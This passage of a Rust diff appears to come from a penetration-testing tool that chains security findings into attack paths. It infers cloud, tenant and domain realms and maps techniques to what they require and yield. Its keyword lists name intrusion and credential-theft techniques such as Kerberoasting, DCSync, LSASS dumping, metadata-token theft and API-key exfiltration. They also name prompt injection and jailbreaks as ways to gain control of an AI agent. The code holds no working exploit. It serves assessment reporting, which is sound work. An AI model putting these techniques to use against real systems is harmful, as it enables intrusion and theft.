NodeKind::CompromisedCredential => "Compromised Credential", + NodeKind::AccessedResource => "Accessed Resource", + NodeKind::LoadedImplant => "Loaded Implant", + NodeKind::EstablishedSession => "Established Session", + NodeKind::Impact => "Impact", + } + } + + /// Which node an artifact materializes as, when it materializes at all. + fn for_artifact(a: Artifact) -> Option { + use Artifact::*; + match a { + PlaintextCredential | PasswordHash | ApiKey | CertificateOrKey | MachineAccount + | SecretsFile => Some(NodeKind::DiscoveredCredential), + KerberosTicket | SessionToken | CloudToken | DomainUser | DomainAdmin | CloudRole + | TenantAdmin | DatabaseAdmin | ApplicationIdentity | ApplicationAdmin => { + Some(NodeKind::CompromisedCredential) + } + Implant => Some(NodeKind::LoadedImplant), + ShellOnHost | HostAdmin | CodeExecution => Some(NodeKind::EstablishedSession), + DataAccess | SensitiveData | SourceCode | DatabaseAccess | InternalReach => { + Some(NodeKind::AccessedResource) + } + _ => None, + } + } +} + +// --------------------------------------------------------------------------- +// Where a step happened: host and realm +// --------------------------------------------------------------------------- + +/// Where a step stands. `realm` is what makes a cross-host link legitimate: an +/// AD domain, a cloud account, an identity tenant, an app's registrable domain, +/// or `internal` for RFC1918 space with no name attached. +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct Loc { + pub host: String, + pub realm: String, +} + +fn private_ip(h: &str) -> bool { + let o: Vec = h.split('.').filter_map(|p| p.parse().ok()).collect(); + if o.len() != 4 || h.split('.').count() != 4 { + return h.starts_with("fe80:") || h.starts_with("fc") || h.starts_with("fd"); + } + matches!(o[0], 10) || (o[0] == 192 && o[1] == 168) || (o[0] == 172 && (16..=31).contains(&o[1])) + || (o[0] == 169 && o[1] == 254) || o[0] == 127 +} + +fn is_ip(h: &str) -> bool { + !h.is_empty() && h.chars().all(|c| c.is_ascii_digit() || c == '.') && h.split('.').count() == 4 +} + +/// The registrable-ish name: the last two labels of a hostname. +fn registrable(host: &str) -> String { + let parts: Vec<&str> = host.split('.').filter(|p| !p.is_empty()).collect(); + if parts.len() < 2 { + return host.to_string(); + } + parts[parts.len() - 2..].join(".") +} + +/// Infer the host and realm a finding sits in. +pub fn loc_of(f: &Finding) -> Loc { + let host = crate::scope::host_of(&f.endpoint); + let text = format!("{} {} {} {}", f.title, f.evidence, f.location, f.impact); + let realm = realm_from_text(&text).unwrap_or_else(|| { + if host.is_empty() { + String::new() + } else if is_ip(&host) { + if private_ip(&host) { "internal".into() } else { host.clone() } + } else { + registrable(&host) + } + }); + Loc { host, realm } +} + +/// Pull an explicit realm out of evidence text: an AD domain, a NetBIOS +/// prefix, an AWS account, an Entra tenant, a GCP project. +fn realm_from_text(text: &str) -> Option { + let lower = text.to_lowercase(); + // AWS account out of an ARN or an explicit account id. + if let Some(c) = regex_once(r"arn:aws:[a-z0-9-]*:[a-z0-9-]*:(\d{12}):", &lower) { + return Some(format!("aws:{c}")); + } + if let Some(c) = regex_once(r"(?:aws\s+account|account\s+id)[^0-9]{0,12}(\d{12})", &lower) { + return Some(format!("aws:{c}")); + } + // Entra / Azure tenant id (a GUID next to the word tenant). + if let Some(c) = regex_once( + r"tenant[^0-9a-f]{0,12}([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", + &lower, + ) { + return Some(format!("entra:{c}")); + } + if let Some(c) = regex_once(r"(?:gcp|google)\s+project[^a-z0-9]{0,8}([a-z0-9][a-z0-9-]{4,29})", &lower) { + return Some(format!("gcp:{c}")); + } + // An AD domain name. `.local`/`.corp`/`.lan`/`.ad`/`.internal` are the + // conventional internal suffixes; a bare `DOMAIN\user` gives the NetBIOS + // name, which is the same realm under another spelling. + if let Some(c) = regex_once(r"\b([a-z0-9][a-z0-9-]{1,30}\.(?:local|corp|lan|ad|internal|intranet))\b", &lower) { + return Some(format!("ad:{c}")); + } + if let Some(c) = regex_once(r"\b([a-z0-9][a-z0-9-]{1,20})\\\\[a-z0-9._$-]+", &lower) { + if !c.is_empty() && c != "c" && c != "d" { + return Some(format!("ad:{c}")); + } + } + None +} + +fn regex_once(pattern: &str, hay: &str) -> Option { + let re = regex::Regex::new(pattern).ok()?; + let c = re.captures(hay)?; + Some(c.get(1)?.as_str().to_string()) +} + +/// The comparable core of a realm name. +/// +/// The same realm is spelled several ways in one engagement: evidence says +/// `CORP\\svc_sql`, an endpoint says `dc01.corp.local`, a ticket says +/// `CORP.LOCAL`. Comparing the raw strings would call those three different +/// realms and refuse every link between them, so the first label — the part +/// that actually names the organization — is what is compared. +fn realm_key(realm: &str) -> String { + let r = realm.to_lowercase(); + let r = r.split_once(':').map(|(_, rest)| rest.to_string()).unwrap_or(r); + r.split('.').next().unwrap_or(&r).to_string() +} + +/// Can an artifact obtained at `from` be used at `to`? +pub fn carries(a: Artifact, from: &Loc, to: &Loc) -> bool { + match reach(a) { + Reach::HostLocal => !from.host.is_empty() && from.host == to.host, + Reach::Realm => { + if from.host == to.host && !from.host.is_empty() { + return true; + } + let (a, b) = (realm_key(&from.realm), realm_key(&to.realm)); + !a.is_empty() && a == b + } + Reach::Portable => true, + } +} + +// --------------------------------------------------------------------------- +// Per-finding profile: what this step gives, needs, and means +// --------------------------------------------------------------------------- + +/// One finding's role in a path. +#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)] +pub struct Profile { + pub domain: Domain, + pub provides: Vec, + pub requires: Vec, + pub impacts: Vec, +} + +impl Default for Domain { + fn default() -> Self { + Domain::Web + } +} + +fn cwe_num(cwe: &str) -> u32 { + cwe.chars() + .skip_while(|c| !c.is_ascii_digit()) + .take_while(|c| c.is_ascii_digit()) + .collect::() + .parse() + .unwrap_or(0) +} + +/// Everything the matcher reads, lowercased once. +struct Sig { + agent: String, + text: String, + cwe: u32, + mitre: String, + endpoint: String, +} + +impl Sig { + fn of(f: &Finding) -> Sig { + Sig { + // Agent names are snake_case (`llm_tool_invocation_abuse`); the + // needles below are written both ways, so both spellings are + // offered to the matcher rather than making every rule guess. + agent: format!("{} {}", f.agent.to_lowercase(), f.agent.to_lowercase().replace('_', " ")), + text: format!("{} {} {} {} {}", f.title, f.evidence, f.impact, f.location, f.payload).to_lowercase(), + cwe: cwe_num(&f.cwe), + mitre: f.mitre.to_uppercase(), + endpoint: f.endpoint.to_lowercase(), + } + } + /// The agent that produced the finding names its technique; that is the + /// strongest signal available and it exists for every domain in the + /// library, including the ones with no meaningful CWE. + fn agent_has(&self, needles: &[&str]) -> bool { + needles.iter().any(|n| self.agent.contains(n)) + } + fn says(&self, needles: &[&str]) -> bool { + needles.iter().any(|n| self.text.contains(n)) + } + fn any(&self, needles: &[&str]) -> bool { + self.agent_has(needles) || self.says(needles) + } +} + +/// Which plane the finding belongs to. +pub fn domain_of(f: &Finding) -> Domain { + let s = Sig::of(f); + if s.agent_has(&["ad_", "bloodhound", "kerberoast", "asreproast", "dcsync", "ntlm_relay", "adcs", "llmnr", "smb_", "gpo_", "laps", "dpapi", "kerberos"]) + || s.says(&["active directory", "domain controller", "kerberos", "ntlm", "lsass", "keytab", "sysvol", "netlogon"]) + { + return Domain::ActiveDirectory; + } + if s.agent_has(&["apk", "ipa", "mobile", "frida", "pinning", "jailbreak", "root_", "rasp", "anti_debug"]) + || s.says(&["apk", ".ipa", "smali", ".dex", "android manifest", "androidmanifest", "mobile app", "keystore", "objection", "jadx"]) + { + return Domain::Mobile; + } + if s.agent_has(&["aws_", "azure_", "gcp_", "cloud_", "s3_", "gcs_", "ecr_", "imds", "serverless", "terraform", "presigned"]) + || s.says(&["169.254.169.254", "metadata.google", "imds", "sts:assumerole", "arn:aws", "storage account", "service account key"]) + { + return Domain::Cloud; + } + if s.agent_has(&["entra", "oauth", "oidc", "saml", "okta", "passkey", "webauthn", "sso"]) + || s.says(&["microsoft graph", "entra id", "azure ad", "global administrator", "identity provider"]) + { + return Domain::Identity; + } + if s.agent_has(&["k8s", "kube", "docker", "container", "helm", "ecr"]) { + return Domain::Container; + } + if s.agent_has(&["firmware", "uboot", "bootloader", "spi_flash", "jtag", "uart"]) { + return Domain::Firmware; + } + if s.agent_has(&["binary", "reverse", "exploit_dev", "rop", "heap", "stack_overflow", "fuzz", "deobfusc"]) + || matches!(s.cwe, 121 | 122 | 125 | 134 | 190 | 415 | 416 | 476 | 787 | 788 | 822 | 843) + { + return Domain::Binary; + } + if s.agent_has(&["llm_", "prompt_", "rag", "ml_", "vector_db", "agent_", "mcp_"]) { + return Domain::Ai; + } + if s.agent_has(&["ci_cd", "dependency_confusion", "typosquat", "supply", "pipeline", "artifact_"]) { + return Domain::SupplyChain; + } + if s.agent_has(&["wifi", "wireless", "wpa", "bluetooth", "zigbee", "rfid", "nfc"]) { + return Domain::Wireless; + } + if s.agent_has(&["phish", "social", "pretext", "vishing", "smishing"]) { + return Domain::Social; + } + if s.agent_has(&["modbus", "s7comm", "dnp3", "scada", "plc", "bacnet"]) { + return Domain::Ot; + } + if s.agent_has(&["linux_", "windows_", "infra_", "ssh", "winrm", "smb", "port_service", "eol_os"]) { + return Domain::Host; + } + if s.agent_has(&["api_", "graphql", "grpc", "rest_", "bola", "bfla", "jwt", "websocket", "soap"]) + || s.endpoint.contains("/api/") + || s.endpoint.contains("/graphql") + { + return Domain::Api; + } + if s.says(&["port ", "tcp/", "udp/", "service banner"]) && s.endpoint.is_empty() { + return Domain::Network; + } + Domain::Web +} + +fn add(v: &mut Vec, items: &[Artifact]) { + for a in items { + if !v.contains(a) { + v.push(*a); + } + } +} + +/// What this finding produces, consumes and means — for every domain. +/// +/// The agent that produced the finding names its technique, and that name is +/// the only signal that exists across the whole library: a Kerberoast, an IMDS +/// token steal and an APK secret dump have no useful CWE in common. CWE is +/// read too, because the web and API agents do set it, and the evidence text is +/// read last because an operator describing "dumped LSASS" has told us exactly +/// what the step yielded regardless of which agent ran. +pub fn profile(f: &Finding) -> Profile { + let s = Sig::of(f); + let mut p = Profile { domain: domain_of(f), ..Default::default() }; + match p.domain { + Domain::ActiveDirectory => ad_rules(&s, &mut p), + Domain::Cloud => cloud_rules(&s, &mut p), + Domain::Identity => identity_rules(&s, &mut p), + Domain::Container => container_rules(&s, &mut p), + Domain::Mobile => mobile_rules(&s, &mut p), + Domain::Binary => binary_rules(&s, &mut p), + Domain::Firmware => firmware_rules(&s, &mut p), + Domain::Ai => ai_rules(&s, &mut p), + Domain::SupplyChain => supply_chain_rules(&s, &mut p), + Domain::Wireless => wireless_rules(&s, &mut p), + Domain::Social => social_rules(&s, &mut p), + Domain::Ot => ot_rules(&s, &mut p), + Domain::Host | Domain::Network => host_rules(&s, &mut p), + Domain::Web | Domain::Api | Domain::Physical => {} + } + // CWE rules run for every domain: an AD finding that still carries CWE-287 + // is telling us something true about what it bypassed. + cwe_rules(&s, &mut p); + // What the evidence literally says happened. + text_rules(&s, &mut p); + + for a in p.provides.clone() { + if let Some(i) = impacts_of(a) { + if !p.impacts.contains(&i) { + p.impacts.push(i); + } + } + } + if s.says(&["vcenter", "esxi", "hypervisor", "domain controller", "backup server", "veeam", "san ", "ipmi", "idrac", "ilo "]) + && p.provides.iter().any(|a| matches!(a, Artifact::HostAdmin | Artifact::CodeExecution | Artifact::Implant | Artifact::ShellOnHost)) + && !p.impacts.contains(&Impact::CriticalInfrastructureCompromise) + { + p.impacts.push(Impact::CriticalInfrastructureCompromise); + } + p.impacts.sort(); + p.impacts.dedup(); + p +} + +// --- Active Directory ------------------------------------------------------- + +fn ad_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + if s.any(&["recon_enum", "ldap enum", "rpc enum", "user enumeration"]) { + add(&mut p.provides, &[ValidIdentities, InternalKnowledge]); + } + if s.any(&["bloodhound", "sharphound", "attack path", "acl path"]) { + add(&mut p.requires, &[DomainUser]); + add(&mut p.provides, &[PrivilegeMap, InternalKnowledge]); + } + if s.any(&["kerberoast", "spn roast"]) { + add(&mut p.requires, &[DomainUser]); + add(&mut p.provides, &[PasswordHash]); + } + if s.any(&["asreproast", "as-rep", "preauth"]) { + add(&mut p.requires, &[ValidIdentities]); + add(&mut p.provides, &[PasswordHash]); + } + if s.any(&["password_spray", "password spray", "spraying"]) { + add(&mut p.requires, &[ValidIdentities]); + add(&mut p.provides, &[PlaintextCredential, DomainUser]); + } + if s.any(&["llmnr", "nbt-ns", "mdns", "responder", "poison"]) { + add(&mut p.requires, &[InternalReach]); + add(&mut p.provides, &[PasswordHash, ValidIdentities]); + } + if s.any(&["coerce", "petitpotam", "printerbug", "dfscoerce", "shadowcoerce"]) { + add(&mut p.requires, &[InternalReach]); + add(&mut p.provides, &[PasswordHash, MachineAccount]); + } + if s.any(&["ntlm_relay", "ntlm relay", "relay to", "smb relay", "ldap relay"]) { + add(&mut p.requires, &[InternalReach]); + add(&mut p.provides, &[DomainUser, HostAdmin, CertificateOrKey]); + } + if s.any(&["adcs", "esc1", "esc2", "esc3", "esc4", "esc6", "esc8", "certifried", "certificate template"]) { + add(&mut p.requires, &[DomainUser]); + add(&mut p.provides, &[CertificateOrKey, KerberosTicket, DomainAdmin]); + } + if s.any(&["dcsync", "drsuapi", "replicating directory"]) { + add(&mut p.requires, &[DomainAdmin]); + add(&mut p.provides, &[PasswordHash, DomainAdmin]); + } + if s.any(&["pass-the-hash", "pass the hash", "pth", "pass-the-ticket", "ptt", "overpass"]) { + add(&mut p.requires, &[PasswordHash]); + add(&mut p.provides, &[DomainUser, ShellOnHost, HostAdmin]); + } + if s.any(&["delegation", "rbcd", "s4u", "constrained", "unconstrained"]) { + add(&mut p.requires, &[DomainUser]); + add(&mut p.provides, &[KerberosTicket, DomainAdmin]); + } + if s.any(&["acl_privesc", "genericall", "writedacl", "writeowner", "addmember", "forcechangepassword"]) { + add(&mut p.requires, &[DomainUser, PrivilegeMap]); + add(&mut p.provides, &[DomainAdmin, PlaintextCredential]); + } + if s.any(&["gpo", "group policy"]) { + add(&mut p.requires, &[DomainUser]); + add(&mut p.provides, &[CodeExecution, HostAdmin]); + } + if s.any(&["laps", "gmsa"]) { + add(&mut p.requires, &[DomainUser]); + add(&mut p.provides, &[PlaintextCredential, HostAdmin]); + } + if s.any(&["dpapi", "credential manager", "vault blob", "masterkey"]) { + add(&mut p.requires, &[HostAdmin]); + add(&mut p.provides, &[PlaintextCredential, SessionToken]); + } + if s.any(&["share_hunt", "smb share", "sysvol", "netlogon", "share crawl", "open share"]) { + add(&mut p.requires, &[DomainUser]); + add(&mut p.provides, &[SecretsFile, PlaintextCredential, InternalKnowledge]); + } + if s.any(&["mssql", "sql server", "linked server", "xp_cmdshell"]) { + add(&mut p.requires, &[DomainUser]); + add(&mut p.provides, &[DatabaseAdmin, CodeExecution]); + } + if s.any(&["trust", "forest", "sid history", "golden ticket", "cross-forest"]) { + add(&mut p.requires, &[DomainAdmin]); + add(&mut p.provides, &[DomainAdmin, KerberosTicket]); + } + if s.any(&["zerologon", "printnightmare", "noPac", "nopac", "samaccountname", "ms14-068", "critical_cve"]) { + add(&mut p.requires, &[InternalReach]); + add(&mut p.provides, &[DomainAdmin, CodeExecution]); + } + if s.any(&["ad_default_creds", "default domain", "default credential"]) { + add(&mut p.provides, &[PlaintextCredential, DomainUser]); + } + if s.any(&["persistence", "skeleton key", "adminsdholder", "dsrm"]) { + add(&mut p.requires, &[DomainAdmin]); + add(&mut p.provides, &[Implant, DomainAdmin]); + } +} + +// --- Cloud ------------------------------------------------------------------ + +fn cloud_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + if s.any(&["imds", "169.254.169.254", "metadata", "instance metadata"]) { + add(&mut p.requires, &[InternalReach]); + add(&mut p.provides, &[CloudToken, CloudRole]); + } + if s.any(&["iam_privesc", "iam privilege", "assumerole", "passrole", "role chaining", "rbac_privesc", "privilege escalation path"]) { + add(&mut p.requires, &[CloudToken]); + add(&mut p.provides, &[CloudRole, TenantAdmin]); + } + if s.any(&["s3", "bucket", "gcs", "blob container", "storage account", "object storage"]) { + add(&mut p.provides, &[DataAccess, SensitiveData, SecretsFile]); + } + if s.any(&["secrets manager", "keyvault", "key vault", "parameter store", "secret manager", "secrets_exposure"]) { + add(&mut p.requires, &[CloudToken]); + add(&mut p.provides, &[PlaintextCredential, ApiKey, CertificateOrKey]); + } + if s.any(&["service account key", "serviceaccount", "sa key", "json key"]) { + add(&mut p.provides, &[CloudToken, CertificateOrKey, CloudRole]); + } + if s.any(&["lambda", "cloud function", "functions", "serverless"]) { + add(&mut p.requires, &[CloudToken]); + add(&mut p.provides, &[CodeExecution, CloudRole]); + } + if s.any(&["compute_exposure", "ec2", "vm exposed", "instance exposed", "ssh exposed"]) { + add(&mut p.provides, &[InternalReach, ShellOnHost]); + } + if s.any(&["terraform", "state file", "tfstate", "pulumi"]) { + add(&mut p.provides, &[CloudToken, SecretsFile, InternalKnowledge]); + } + if s.any(&["ecr", "registry public", "container registry"]) { + add(&mut p.provides, &[SourceCode, SecretsFile]); + } + if s.any(&["presigned", "sas token", "signed url"]) { + add(&mut p.provides, &[DataAccess, SensitiveData]); + } + if s.any(&["cloud_recon", "footprint", "asset discovery"]) { + add(&mut p.provides, &[InternalKnowledge, ValidIdentities]); + } +} + +// --- SaaS / identity plane -------------------------------------------------- + +fn identity_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + if s.any(&["entra_enum", "tenant enum", "user enumeration", "directory enumeration"]) { + add(&mut p.provides, &[ValidIdentities, InternalKnowledge]); + } + if s.any(&["oauth", "oidc", "openid", "saml", "sso"]) { + add(&mut p.provides, &[SessionToken, ApplicationIdentity]); + } + if s.any(&["signature wrapping", "alg confusion", "jku", "x5u", "jwk injection", "kid injection", "none algorithm", "forged token"]) { + add(&mut p.provides, &[SessionToken, ApplicationAdmin]); + } + if s.any(&["mfa", "2fa", "two factor", "second factor", "otp bypass"]) { + add(&mut p.requires, &[PlaintextCredential]); + add(&mut p.provides, &[MfaBypass, ApplicationIdentity]); + } + if s.any(&["refresh token", "access token", "primary refresh token", "prt", "graph api", "microsoft graph"]) { + if s.says(&["stolen", "extracted", "replay", "escalat", "reused", "lifted", "captured"]) { + add(&mut p.requires, &[CloudToken]); + } + add(&mut p.provides, &[CloudToken, SessionToken]); + } + if s.any(&["global administrator", "global admin", "tenant admin", "privileged role"]) { + add(&mut p.provides, &[TenantAdmin]); + } + if s.any(&["consent", "illicit grant", "app registration", "service principal"]) { + add(&mut p.requires, &[SessionToken]); + add(&mut p.provides, &[CloudRole, Implant]); + } +} + +// --- Containers & orchestration --------------------------------------------- + +fn container_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + if s.any(&["docker socket", "docker.sock", "docker api"]) { + add(&mut p.requires, &[InternalReach]); + add(&mut p.provides, &[HostAdmin, ShellOnHost, Implant]); + } + if s.any(&["escape", "privileged container", "hostpid", "hostpath", "cgroup release_agent"]) { + add(&mut p.requires, &[ShellOnHost]); + add(&mut p.provides, &[HostAdmin]); + } + if s.any(&["rbac", "cluster-admin", "clusterrole", "service account token"]) { + add(&mut p.requires, &[SessionToken]); + add(&mut p.provides, &[CloudRole, CodeExecution, TenantAdmin]); + } + if s.any(&["kubelet", "10250", "exec api"]) { + add(&mut p.requires, &[InternalReach]); + add(&mut p.provides, &[CodeExecution, SensitiveData]); + } + if s.any(&["dashboard", "kubeconfig"]) { + add(&mut p.provides, &[CodeExecution, CloudToken]); + } + if s.any(&["helm", "chart secret", "image secret", "imagepullsecret"]) { + add(&mut p.provides, &[PlaintextCredential, ApiKey]); + } +} + +// --- Mobile ------------------------------------------------------------------ + +fn mobile_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + if s.any(&["apk_static", "ipa_static", "static_binary", "decompil", "manifest"]) { + add(&mut p.provides, &[SourceCode, InternalKnowledge]); + } + if s.any(&["hardcoded", "embedded secret", "api key", "firebase", "keystore password"]) { + add(&mut p.provides, &[ApiKey, PlaintextCredential, CloudToken]); + } + if s.any(&["insecure_data_storage", "shared preferences", "sqlite", "keychain", "plist", "external storage"]) { + add(&mut p.requires, &[DeviceAccess]); + add(&mut p.provides, &[SessionToken, PlaintextCredential, SensitiveData]); + } + if s.any(&["pinning", "mitm proxy", "traffic analysis", "intercept"]) { + add(&mut p.provides, &[InternalKnowledge, ApiKey, SessionToken]); + } + if s.any(&["root detection", "jailbreak", "anti_debug", "rasp", "tamper", "integrity check"]) { + add(&mut p.provides, &[DeviceAccess, CodeExecution]); + } + if s.any(&["obfuscation", "deobfusc"]) { + add(&mut p.provides, &[SourceCode, InternalKnowledge]); + } + if s.any(&["exported activity", "deeplink", "content provider", "broadcast receiver", "intent"]) { + add(&mut p.requires, &[DeviceAccess]); + add(&mut p.provides, &[ApplicationIdentity, DataAccess]); + } +} + +// --- Binaries ---------------------------------------------------------------- + +fn binary_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + if s.any(&["buffer overflow", "stack overflow", "heap overflow", "use-after-free", "uaf", "double free", + "out-of-bounds write", "oob write", "format string", "type confusion", "integer overflow", "rop", "memory corruption"]) + || matches!(s.cwe, 121 | 122 | 124 | 125 | 134 | 190 | 415 | 416 | 476 | 787 | 788 | 822 | 843) + { + add(&mut p.provides, &[CodeExecution, ShellOnHost]); + } + if s.any(&["reverse engineer", "disassembl", "decompil", "symbol", "deobfusc", "unpack"]) { + add(&mut p.provides, &[SourceCode, InternalKnowledge]); + } + if s.any(&["hardcoded key", "embedded credential", "xor key", "license key", "crypto key"]) { + add(&mut p.provides, &[CertificateOrKey, PlaintextCredential, ApiKey]); + } + if s.any(&["setuid", "suid", "privileged binary", "dll hijack", "dll side-load", "service binary"]) { + add(&mut p.requires, &[ShellOnHost]); + add(&mut p.provides, &[HostAdmin]); + } + if s.any(&["signature bypass", "code signing", "sign check"]) { + add(&mut p.provides, &[CodeExecution, SupplyChainWrite]); + } +} + +// --- Firmware / embedded ------------------------------------------------------ + +fn firmware_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + if s.any(&["firmware image", "squashfs", "extract", "binwalk", "flash dump", "spi"]) { + add(&mut p.requires, &[DeviceAccess]); + add(&mut p.provides, &[SourceCode, PlaintextCredential, CertificateOrKey, InternalKnowledge]); + } + if s.any(&["uart", "jtag", "swd", "serial console", "debug port"]) { + add(&mut p.requires, &[DeviceAccess]); + add(&mut p.provides, &[ShellOnHost, HostAdmin]); + } + if s.any(&["secure boot", "bootloader", "u-boot", "signed image", "rollback"]) { + add(&mut p.requires, &[DeviceAccess]); + add(&mut p.provides, &[CodeExecution, Implant, SupplyChainWrite]); + } + if s.any(&["backdoor account", "hardcoded telnet", "default root", "busybox shell"]) { + add(&mut p.provides, &[PlaintextCredential, ShellOnHost, HostAdmin]); + } + if s.any(&["ota", "update channel", "unsigned update"]) { + add(&mut p.provides, &[SupplyChainWrite, CodeExecution]); + } +} + +// --- AI / LLM / agents -------------------------------------------------------- + +fn ai_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + if s.any(&["prompt injection", "jailbreak", "system prompt override", "indirect injection", "rag poison", "vector db", "poisoned document"]) { + add(&mut p.provides, &[AgentControl]); + } + if s.any(&["system prompt leak", "prompt disclosure", "instruction leak"]) { + add(&mut p.provides, &[InternalKnowledge]); + } + if s.any(&["tool invocation", "function calling", "excessive agency", "insecure output handling", "mcp tool", "skill abuse"]) { + add(&mut p.requires, &[AgentControl]); + add(&mut p.provides, &[CodeExecution, DataAccess]); + } + if s.any(&["api key exfil", "key exfiltration", "credential exfil"]) { + add(&mut p.requires, &[AgentControl]); + add(&mut p.provides, &[ApiKey, CloudToken]); + } + if s.any(&["pii leak", "training data extraction", "model inversion", "memorized"]) { + add(&mut p.provides, &[SensitiveData]); + } + if s.any(&["plugin", "supply chain", "model weights", "unsigned model"]) { + add(&mut p.provides, &[SupplyChainWrite, CodeExecution]); + } +} + +// --- CI/CD & supply chain ----------------------------------------------------- + +fn supply_chain_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + if s.any(&["ci_cd", "pipeline secret", "build log", "workflow secret", "runner"]) { + add(&mut p.provides, &[ApiKey, CloudToken, PlaintextCredential]); + } + if s.any(&["dependency confusion", "typosquat", "package takeover", "unclaimed package", "registry push"]) { + add(&mut p.provides, &[SupplyChainWrite, CodeExecution]); + } + if s.any(&["artifact signing", "unsigned artifact", "poisoned image", "base image"]) { + add(&mut p.provides, &[SupplyChainWrite, Implant]); + } +} + +// --- Wireless ----------------------------------------------------------------- + +fn wireless_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + if s.any(&["handshake", "pmkid", "wpa", "wep", "deauth"]) { + add(&mut p.provides, &[PasswordHash, InternalReach]); + } + if s.any(&["evil twin", "rogue ap", "karma", "captive portal"]) { + add(&mut p.provides, &[PlaintextCredential, SessionToken, InternalReach]); + } + if s.any(&["guest network", "vlan hop", "wps"]) { + add(&mut p.provides, &[InternalReach]); + } + if s.any(&["ble", "bluetooth", "zigbee", "rfid", "nfc", "badge clone"]) { + add(&mut p.provides, &[DeviceAccess, InternalReach]); + } +} + +// --- Social ------------------------------------------------------------------- + +fn social_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + add(&mut p.provides, &[UserInteraction]); + if s.any(&["credential harvest", "fake login", "phish"]) { + add(&mut p.provides, &[PlaintextCredential, SessionToken]); + } + if s.any(&["mfa fatigue", "push bombing", "device code", "consent phishing"]) { + add(&mut p.provides, &[MfaBypass, SessionToken, CloudToken]); + } + if s.any(&["payload", "macro", "attachment", "lnk", "iso"]) { + add(&mut p.provides, &[CodeExecution, Implant]); + } +} + +// --- OT / ICS ------------------------------------------------------------------- + +fn ot_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + add(&mut p.requires, &[InternalReach]); + if s.any(&["modbus", "s7comm", "dnp3", "bacnet", "plc", "hmi", "scada", "historian"]) { + add(&mut p.provides, &[CodeExecution, SensitiveData]); + if !p.impacts.contains(&Impact::CriticalInfrastructureCompromise) { + p.impacts.push(Impact::CriticalInfrastructureCompromise); + } + } +} + +// --- Hosts & internal network ---------------------------------------------------- + +fn host_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + if s.any(&["port_service", "port scan", "service scan", "banner"]) { + add(&mut p.provides, &[InternalKnowledge]); + } + if s.any(&["smb_enum", "null session", "share enumeration", "rpc null"]) { + add(&mut p.provides, &[ValidIdentities, InternalKnowledge, SecretsFile]); + } + if s.any(&["ssh_weak", "weak ssh", "ssh key", "authorized_keys", "password authentication"]) { + add(&mut p.requires, &[ValidIdentities]); + add(&mut p.provides, &[ShellOnHost, PlaintextCredential]); + } + if s.any(&["sudo", "cron", "writable", "priv_esc", "privilege escalation", "capabilities", "kernel exploit", "unquoted service"]) { + add(&mut p.requires, &[ShellOnHost]); + add(&mut p.provides, &[HostAdmin]); + } + if s.any(&["winrm", "psexec", "wmiexec", "smbexec", "remote execution"]) { + add(&mut p.requires, &[PlaintextCredential]); + add(&mut p.provides, &[ShellOnHost, HostAdmin]); + } + if s.any(&["smb signing", "signing not required"]) { + add(&mut p.provides, &[InternalKnowledge, InternalReach]); + } + if s.any(&["default credential", "default password", "admin:admin"]) { + add(&mut p.provides, &[PlaintextCredential, HostAdmin, ApplicationAdmin]); + } + if s.any(&["eol", "end-of-life", "unsupported version", "unpatched"]) { + add(&mut p.provides, &[CodeExecution, ShellOnHost]); + } + if s.any(&["exposed datastore", "mongodb", "redis", "elasticsearch", "memcached", "database exposed"]) { + add(&mut p.provides, &[DataAccess, SensitiveData, PlaintextCredential, DatabaseAccess]); + } +} + +// --- Web / API, by weakness class ------------------------------------------- + +fn cwe_rules(s: &Sig, p: &mut Profile) { + use Artifact::*; + match s.cwe { + // Injection into a data store. + 89 | 943 | 90 | 564 => { + add(&mut p.provides, &[DataAccess, SensitiveData, DatabaseAccess, PasswordHash]); + if s.says(&["xp_cmdshell", "stacked", "into outfile", "copy to program", "sp_oacreate", "lo_import"]) { + add(&mut p.provides, &[CodeExecution, DatabaseAdmin]); + } + if s.cwe == 564 { + add(&mut p.requires, &[ApplicationIdentity]); + } + } + // Command / template / expression / code injection and deserialization. + 77 | 78 | 94 | 95 | 502 | 917 | 1336 | 1321 | 470 => { + add(&mut p.provides, &[CodeExecution, ShellOnHost, InternalReach]); + } + // Upload leading to a shell. + 434 => add(&mut p.provides, &[CodeExecution, Implant]), + // SSRF and XML entity expansion reach inward. + 918 => { + add(&mut p.provides, &[InternalReach, InternalKnowledge]); + if s.says(&["169.254.169.254", "metadata", "imds", "computemetadata"]) { + add(&mut p.provides, &[CloudToken, CloudRole]); + } + } + 611 | 776 | 827 => add(&mut p.provides, &[DataAccess, SecretsFile, InternalReach]), + // Path traversal / file read / inclusion. + 22 | 23 | 35 | 73 | 98 => { + add(&mut p.provides, &[DataAccess, SecretsFile, InternalKnowledge, SourceCode]); + if s.cwe == 98 && s.says(&["remote", "http://", "rfi"]) { + add(&mut p.provides, &[CodeExecution]); + } + } + // Cross-site scripting runs in someone else's session. + 79 | 80 | 83 | 87 | 116 => { + add(&mut p.provides, &[SessionToken, ApplicationIdentity]); + if s.says(&["reflected", "requires a victim", "user must"]) { + add(&mut p.requires, &[UserInteraction]); + } + if s.says(&["admin", "administrator panel", "privileged user"]) { + add(&mut p.provides, &[ApplicationAdmin]); + } + } + // Request forgery needs a victim and acts as them. + 352 => { + add(&mut p.requires, &[UserInteraction]); + add(&mut p.provides, &[ApplicationIdentity]); + } + // Broken access control. + 639 | 862 | 863 | 284 | 285 | 566 | 425 | 668 => { + add(&mut p.requires, &[ValidIdentities]); + add(&mut p.provides, &[ApplicationIdentity, DataAccess, SensitiveData]); + } + // Authentication bypass / missing authentication. + 287 | 288 | 290 | 306 | 305 | 603 | 645 => { + add(&mut p.provides, &[ApplicationIdentity, ApplicationAdmin, SessionToken]); + } + // Credentials at rest, in code, in transit. + 798 | 522 | 312 